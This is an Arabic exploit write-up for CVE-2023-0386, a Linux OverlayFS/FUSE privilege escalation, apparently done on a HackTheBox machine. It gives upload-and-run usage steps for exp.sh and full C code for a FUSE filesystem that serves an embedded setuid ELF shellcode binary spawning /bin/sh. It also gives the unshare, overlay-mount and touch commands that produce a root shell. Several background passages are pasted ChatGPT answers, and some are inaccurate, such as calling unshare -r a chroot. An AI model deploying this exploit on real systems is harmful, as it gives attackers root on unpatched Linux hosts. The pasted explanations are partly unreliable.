
استغلال وتحليل CVE-2023-0386 بسيط جدًا. استخدم c و sh.
طريقة الاستخدام:
أولاً: ارفع fuse.c و exp.sh إلى المجلد /tmp.
يمكنك استخدام scp أو python3 -m http.server لرفع الملف إلى الجهاز الهدف.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
أو
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
ثم:
cd /tmp
/bin/bash exp.sh
الآن، أنت root!

فيما يلي تحليل مفصل لـ CVE-2023-0386.
بالأمس قضيت يومًا كاملاً في دراسة هذه الثغرة. ببساطة، عندما ينسخ OverlayFS ملفًا من الطبقة السفلية إلى الطبقة العليا، فإنه لا يتحقق مما إذا كان مستخدم مساحة أسماء الطبقة السفلية مُعيَّنًا في مساحة أسماء المستخدمين الحالية، مما يسمح بتعيين suid ورفع الصلاحيات.
يبدو هذا مجردًا للغاية، لمعرفة هذه المشكلة نحتاج أولاً إلى معرفة عدة نقاط:
ChatGPT: اشرح بالتفصيل ما هو OverlayFS في نظام Linux.
OverlayFS، ويُعرف أيضًا باسم نظام ملفات Overlay، هو نظام ملفات مدمج (union filesystem) في نواة Linux. يمكنه دمج أنظمة ملفات متعددة ومختلفة فوق بعضها البعض لتشكيل عرض موحد واحد. تم اعتماده رسميًا في النواة في إصدار Linux 3.18.
يتكون OverlayFS من ثلاثة مكونات رئيسية مهمة: نظام الملفات السفلي (lower filesystem)، ونظام الملفات العلوي (upper filesystem)، ونظام الملفات المدمج (merged filesystem). دور كل جزء كما يلي:
Lower filesystem (نظام الملفات السفلي): هذه هي الطبقة الأساسية، وعادةً ما تكون للقراءة فقط. جميع الملفات والدلائل تأتي في البداية من هذه الطبقة.
Upper filesystem (نظام الملفات العلوي): هذه هي الطبقة العليا، وعادةً ما تكون قابلة للكتابة. عندما نكتب في نظام الملفات، تُحفظ جميع التغييرات في هذه الطبقة. إذا كان هناك ملف موجود في نظام الملفات السفلي وأردنا تعديله، فسيتم إنشاء نسخة من هذا الملف في نظام الملفات العلوي ثم تعديلها. تُسمى هذه العملية "copy-up".
Merged filesystem (نظام الملفات المدمج): هذا هو العرض النهائي لـ OverlayFS، وهو يجمع بين نظامي الملفات السفلي والعلوي. عند إجراء عملية قراءة، يبحث OverlayFS أولاً في نظام الملفات العلوي؛ إذا لم يجد الملف، يبحث في نظام الملفات السفلي.
العرض المنطقي لهذه البنية كما يلي:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
أحد التطبيقات المهمة لـ OverlayFS هو في التطبيقات المعبأة في حاويات، خاصة في Docker. في Docker، كل طبقة من طبقات الصورة تكون للقراءة فقط ويمكن استخدامها كنظام ملفات سفلي لحاويات أخرى. عندما نشغّل حاوية جديدة، ينشئ Docker لها نظام ملفات علوي جديد وفارغ. بهذه الطريقة، جميع التغييرات على الحاوية (مثل تثبيت برامج جديدة) تؤثر فقط على نظام الملفات العلوي ولا تؤثر على طبقات الصورة المشتركة.
بالإضافة إلى ذلك، بما أن OverlayFS يسمح بتركيب أنظمة ملفات سفلية متعددة تحت طبقة عليا واحدة، يمكننا إنشاء أنظمة ملفات متعددة المستويات، وهذا له تطبيقات واسعة في طبقات الصور في Docker.
باختصار، الملفات في الطبقة السفلية للقراءة فقط، وفي الطبقة العليا قابلة للقراءة والكتابة، وطبقة الدمج تجمع ملفات الطبقتين معًا وتعرض عرضًا موحدًا. عندما نعدّل في طبقة الدمج ملفًا موجودًا في الطبقة السفلية وغير موجود في الطبقة العليا، يتم نسخ الملف من الطبقة السفلية كما هو إلى الطبقة العليا لتعديله. هذه هي نقطة تفعيل الثغرة.
GPT: أنت خبير في نواة لينكس، اشرح الآن بالتفصيل ما هو FUSE؟
FUSE (Filesystem in Userspace) هي آلية لإنشاء أنظمة ملفات في مساحة المستخدم. إنها واجهة توفرها نواة Linux، وتسمح للمستخدمين بتطوير وتشغيل أنظمة الملفات الخاصة بهم دون تعديل كود النواة.
الهدف الرئيسي لـ FUSE هو تبسيط تطوير واستخدام أنظمة الملفات الجديدة. باستخدام FUSE، يمكنك إنشاء نظام ملفات مخصص دون الحاجة إلى فهم الكثير من تفاصيل واجهات برمجة تطبيقات النواة. هذا مفيد جدًا في سيناريوهات مثل التصحيح، والتطوير النموذجي السريع، والبحث الأكاديمي، وتنفيذ أنظمة ملفات خاصة جدًا (مثل أنظمة ملفات التشفير الشفاف وأنظمة ملفات الشبكة).
في FUSE، يعمل معظم منطق نظام الملفات في مساحة المستخدم. وهذا يجعل التطوير أسهل، لأن مساحة المستخدم توفر بيئة تطوير أكثر ودية: يمكنك استخدام أي لغة برمجة تفضلها، ولديك المزيد من المكتبات المتاحة، ومعالجة الأخطاء أبسط، وما إلى ذلك. من ناحية أخرى، هذا يعني أيضًا أن أنظمة ملفات FUSE عادةً ما تكون أبطأ من أنظمة الملفات في مساحة النواة، لأنها تحتاج إلى التبديل المتكرر بين مساحة المستخدم ومساحة النواة.
يتكون نظام ملفات FUSE عادةً من جزأين:
عند تطوير نظام ملفات FUSE، تحتاج إلى تنفيذ سلسلة من دوال الاستدعاء (callback functions)، وهذه الدوال تقابل عمليات نظام الملفات المختلفة، مثل فتح الملف، وقراءته، وكتابته، وما إلى ذلك. عند حدوث هذه العمليات، تستدعي وحدة FUSE في النواة دالة الاستدعاء المناسبة وتعيد النتيجة إلى المتصل.
بشكل عام، يوفر FUSE إطارًا قويًا لتنفيذ أنظمة الملفات في مساحة المستخدم، فهو يبسّط تطوير أنظمة الملفات، ويتيح أيضًا توسيعها وتعديلها بطريقة معيارية.
في الحقيقة، يسمح FUSE للمستخدم بتخصيص نظام ملفات والملفات الموجودة فيه.
نحتاج إلى كتابة الكود المتعلق بـ FUSE باستخدام لغة C.
أنت خبير في نواة لينكس، ما هي مساحة أسماء المستخدمين؟
في Linux، "مساحة الأسماء" هي ميزة من ميزات النواة تُستخدم لعزل رؤية العمليات، بحيث لا ترى العملية إلا الموارد التي تنتمي إلى نفس مساحة الأسماء. كل نوع من أنواع مساحات الأسماء يقابل نوعًا محددًا من الموارد. على سبيل المثال، مساحة أسماء PID (معرّف العملية) تُستخدم لعزل معرّفات العمليات، ومساحة أسماء Net تُستخدم لعزل واجهات الشبكة ومكدس الشبكة، ومساحة أسماء Mount تُستخدم لعزل نقاط التحميل لأنظمة الملفات، وهكذا.
مساحة أسماء المستخدمين (User Namespaces) هي نوع من مساحات أسماء Linux، وتُستخدم أساسًا لعزل معرّفات المستخدمين والمجموعات. كل مساحة أسماء مستخدمين تمتلك مجموعة معرّفات مستخدمين ومجموعات خاصة بها. على سبيل المثال، قد تعمل عملية في مساحة أسماء المستخدمين A كمستخدم root (UID 0)، لكن في مساحة أسماء المستخدمين B قد تكون مجرد مستخدم عادي.
الفائدة من ذلك هي أنه حتى لو كانت العملية تملك صلاحيات root داخل مساحة أسماء المستخدمين الخاصة بها، فإنها لا تستطيع التأثير على موارد مساحات الأسماء الأخرى، لأنها في تلك المساحات قد تكون مجرد مستخدم عادي. هذا يزيد أمان النظام بشكل كبير، فحتى إذا تم اختراق حاوية (وهي في الواقع مجموعة عمليات تعمل ضمن مجموعة مساحات أسماء خاصة بها)، لا يمكن للمهاجم التأثير على النظام المضيف أو الحاويات الأخرى.
مساحة أسماء المستخدمين هي إحدى التقنيات الأساسية لحاويات Linux (مثل Docker و LXC وغيرها). من خلال استخدام مساحة أسماء المستخدمين وأنواع أخرى من مساحات الأسماء، يمكن للحاويات توفير عزل مشابه للأجهزة الافتراضية دون الحاجة إلى المحاكاة الافتراضية.
بشكل عام، مساحة أسماء المستخدمين هي آلية في Linux لعزل معرّفات المستخدمين والمجموعات، وتلعب دورًا مهمًا في تعزيز أمان النظام والحاويات.
إذن ما هو تعيين مساحة أسماء المستخدمين؟
في مساحة أسماء المستخدمين في Linux، لدينا مفهوم مهم جدًا: تعيين مساحة أسماء المستخدمين. يحدد هذا التعيين كيفية تحويل معرّفات المستخدمين والمجموعات بين مساحات أسماء المستخدمين المختلفة. أي أن العملية التي تبدو كـ root داخل مساحة أسماء مستخدمين معينة قد تكون مجرد مستخدم عادي غير مميز في المضيف أو في مساحة أسماء أخرى.
يمكن ضبط آلية التعيين هذه عن طريق تعديل الملفين /proc/[pid]/uid_map و /proc/[pid]/gid_map، حيث [pid] هو معرّف العملية PID. في هذين الملفين، كل سطر هو عنصر تعيين يتكون من ثلاثة حقول: المعرّف داخل مساحة الأسماء، والمعرّف خارج مساحة الأسماء، ومدى المعرّفات. على سبيل المثال، "0 1000 1" تعني أن المعرّف 0 داخل مساحة الأسماء يُعيَّن إلى المعرّف 1000 خارج مساحة الأسماء.
على سبيل المثال، قد يكون للعملية التي تعمل في مساحة أسماء المستخدمين A معرّف مستخدم 0، فتبدو كما لو كانت مستخدم root. لكن إذا قمنا في تعيين مساحة أسماء المستخدمين بتعيين 0 إلى 1000، فإن معرّف المستخدم لهذه العملية سيكون 1000 بالنسبة لمساحة أسماء المضيف ولمساحات أسماء المستخدمين الأخرى، أي مستخدمًا عاديًا.
بهذه الطريقة، يوفر تعيين مساحة أسماء المستخدمين وسيلة تسمح للعملية بالحصول على صلاحيات كاملة داخل مساحة أسماء المستخدمين التي توجد بها (مثل مستخدم root)، بينما تظل مجرد مستخدم عادي في المساحات الأخرى، وهذا مهم جدًا للعزل والأمان.
لأن الملفات في نظام الملفات السفلي تكون تحت سيطرة المستخدم بشكل كبير (يتم إنشاؤها بواسطة FUSE)، ويمكن تخصيص أي ملف، مثل ملف suid (لكن لأسباب أمنية، لدى FUSE بعض القيود الافتراضية. من بين هذه القيود، أن نظام الملفات الذي يتم تركيبه افتراضيًا يكون nosuid، أي أن بتات setuid و setgid على نظام ملفات FUSE يتم تجاهلها، وعلى الرغم من تجاهلها بواسطة FUSE، فإن بت suid لا يزال موجودًا). لكن يمكننا عبر خاصية OverlayFS نسخ ملف suid من نظام nosuid من الطبقة السفلية إلى الطبقة العليا، وهذه الطبقة العليا هي نظام ملفات طبيعي، مما يؤدي إلى حصول ملف suid غير قانوني على صلاحيات suid حقيقية، وبالتالي تحقيق رفع الصلاحيات.
تتطلب الاستعدادات إنشاء عدة مجلدات لبناء OverlayFS.
cd /tmp
mkdir fuse upper overlay workdir
مجلد fuse هو المجلد الذي يوجد فيه نظام الملفات المخصص من قبل المستخدم، ويعمل أيضًا كطبقة سفلية لـ OverlayFS.
مجلد upper يعمل كطبقة علوية لـ OverlayFS.
مجلد overlay يعمل كطبقة الدمج لـ OverlayFS.
مجلد workdir هو دليل العمل الخاص بـ OverlayFS.
كود FUSE التالي هو تعديل مني بناءً على كود المُعلم c. https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
لقد أضفت دالة ioctl_callback بناءً على كوده، لاستخدامها لاحقًا مع أمر touch، وإلا فسيظهر خطأ بأن الدالة غير منفذة.
انقل الملف إلى الجهاز الهدف عبر scp:
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

الترجمة:
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse fuse fuse.c overlay upper workdir
إنشاء نظام ملفات FUSE:
./efuse fuse
لاحظ ظهور ملف hello مملوك لـ root وله بت suid في مجلد fuse:

بما أن FUSE حاليًا nosuid، فلن نتمكن من رفع الصلاحيات حتى لو نفذنا الملف.
unshare -Urm
unshare هو أمر في Linux يُستخدم "لإلغاء المشاركة" لأنواع معينة من مساحات الأسماء من عملية الصدفة الحالية. يفعل ذلك لإنشاء بيئة معزولة، تشبه المحاكاة الافتراضية، لكن دون الحاجة إلى نظام تشغيل كامل.
معاني المعاملات -Urm بعد أمر unshare هي:
-U يعني إلغاء مشاركة مساحة أسماء المستخدمين. يؤدي هذا إلى تشغيل عملية الصدفة الجديدة في مساحة أسماء المستخدمين الخاصة بها، بحيث تكون جميع تعيينات معرّفات المستخدمين والمجموعات فريدة. وهذا يعني، على سبيل المثال، أنه على الرغم من أن عملية الصدفة الجديدة قد تعتقد أنها تعمل كمستخدم root، إلا أنها في الخارج قد تعمل كمستخدم مختلف غير مميز.-r يعني إنشاء دليل جذر جديد (chroot)، بحيث لا تستطيع عملية الصدفة الجديدة الوصول إلى الأجزاء الأخرى من نظام الملفات الفعلي. يُستخدم هذا غالبًا لتوفير بيئة معزولة، مثل عند تجميع البرامج، لمنعها من تلويث بقية النظام.-m يعني إلغاء مشاركة مساحة mount. وهذا يسمح لعملية الصدفة الجديدة بتغيير نقاط التحميل دون أن تؤثر هذه التغييرات على العمليات الأخرى. على سبيل المثال، يمكنها تركيب أنظمة ملفات جديدة أو تغيير خصائص نقاط التحميل الحالية دون التأثير على بقية النظام.بشكل عام، ينشئ أمر unshare -Urm بيئة جديدة ومعزولة، لها مستخدمونها ومجموعاتها ونقاط التحميل والدليل الجذر الخاص بها، معزولة تمامًا عن بقية النظام.
اجعل نظام ملفات FUSE الموجود سابقًا هو الطبقة السفلية، ومجلد upper هو الطبقة العليا، و overlay هو طبقة الدمج:
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay
في هذه المرحلة، ظهر ملف hello بالفعل في طبقة الدمج:

هنا نحتاج إلى تعديل ملف hello لتحقيق تأثير نسخه إلى مجلد upper، وسنفعل ذلك باستخدام أمر touch.
إذا لمست (touch) ملفًا موجودًا بالفعل، فسيتم تعديل الطابع الزمني للملف، وبما أن الطابع الزمني يُعدّل كبيانات وصفية للملف، فسيؤدي ذلك بطبيعة الحال إلى تفعيل النسخ. (إذا لم نضف دالة الاستدعاء ioctl_callback سابقًا، فلن نتمكن من تنفيذ touch).
يُستخدم أمر
touchبشكل أساسي لتعديل وقت الوصول ووقت التعديل للملف، أو إنشاء ملف فارغ جديد إذا كان الملف غير موجود. في معظم الحالات، لا يستدعي أمرtouchدالةioctlمباشرة. فهو عادةً يستدعي الدوال النظامية مثلopen,close,utimes, أوutimensatوغيرها.
ioctl هي استدعاء نظام عام جدًا، يُستخدم للعمليات الخاصة بأجهزة معينة أو العمليات التي لا يمكن التعبير عنها باستخدام استدعاءات النظام القياسية. على سبيل المثال، يمكن استخدامه لتغيير إعدادات الطرفية أو الاستعلام عن حالة أجهزة الشبكة. ومع ذلك، يتفاعل أمر touch بشكل أساسي مع نظام الملفات وليس مع الأجهزة، لذلك لا يحتاج عادةً إلى استخدام ioctl.
لكن هذا لا يعني أنه لن يتم استدعاء ioctl أبدًا، لأن نظام الملفات أو برنامج تشغيل الجهاز قد يوفر عمليات ioctl خاصة لتنفيذ وظائف محددة. على سبيل المثال، قد توفر بعض أنظمة الملفات عملية ioctl محددة لتعديل الطابع الزمني للملف. ومع ذلك، هذه الحالة نادرة جدًا ولا تندرج ضمن سلوك أمر touch المعتاد.
يمكننا أن نرى بوضوح أنه من خلال أمر touch، حصلنا على ملف hello في مجلد upper.

بعد ذلك نخرج من مساحة الأسماء، وننفّذ upper/hello لتحقيق رفع الصلاحيات بنجاح.
